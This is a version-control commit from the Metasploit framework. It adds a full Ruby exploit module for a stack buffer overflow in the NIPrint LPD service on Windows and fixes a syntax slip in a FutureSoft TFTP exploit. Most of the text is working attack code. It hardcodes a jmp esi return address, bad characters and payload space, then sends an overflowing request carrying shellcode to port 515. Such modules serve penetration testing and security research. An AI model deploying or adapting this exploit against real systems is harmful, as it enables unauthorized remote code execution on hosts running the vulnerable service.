Import from 2.6, bug fix to transfermode

git-svn-id: file:///home/svn/framework3/trunk@3872 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/lpd/niprint.rb

@@ -0,0 +1,62 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Lpd::HNIPrintd < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'NIPrint LPD Request Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in the
+				Network Instrument NIPrint LPD service. Inspired by
+				Immunity's VisualSploit :-)
+			},
+			'Author'         => [ 'hdm' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3583 $',
+			'References'     =>
+				[
+	  				['OSVDB', '2774'],
+					['BID', '8968'],
+					['URL',   'http://www.immunitysec.com/documentation/vs_niprint.html'],
+				],
+			'Privileged'     => false,
+
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00\x0a",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
+				],
+
+			'DefaultTarget' => 0))
+			
+			register_options( [ Opt::RPORT(515) ], self.class )
+	end
+
+	def exploit
+		connect
+		
+		req = Rex::Text.rand_text_alphanumeric(8192)
+		req[  0, 2] = "\xeb\x33"
+		req[ 49, 4] = [target.ret].pack('V')
+		req[ 53, payload.encoded.length ] = payload.encoded
+		
+		print_status("Trying target #{target.name}...")
+		sock.put(req)
+		
+		handler
+		disconnect
+	end
+
+end
+end	

modules/exploits/windows/tftp/futuresoft_transfermode.rb

@@ -55,8 +55,6 @@ class Exploits::Windows::Tftp::Futuresoft_TFTPD_TransferMode < Msf::Exploit::Rem
 
 			'DisclosureDate' => 'May 31 2005'))
 
-			))
-
 			register_options(
 			[
 				Opt::RPORT(69)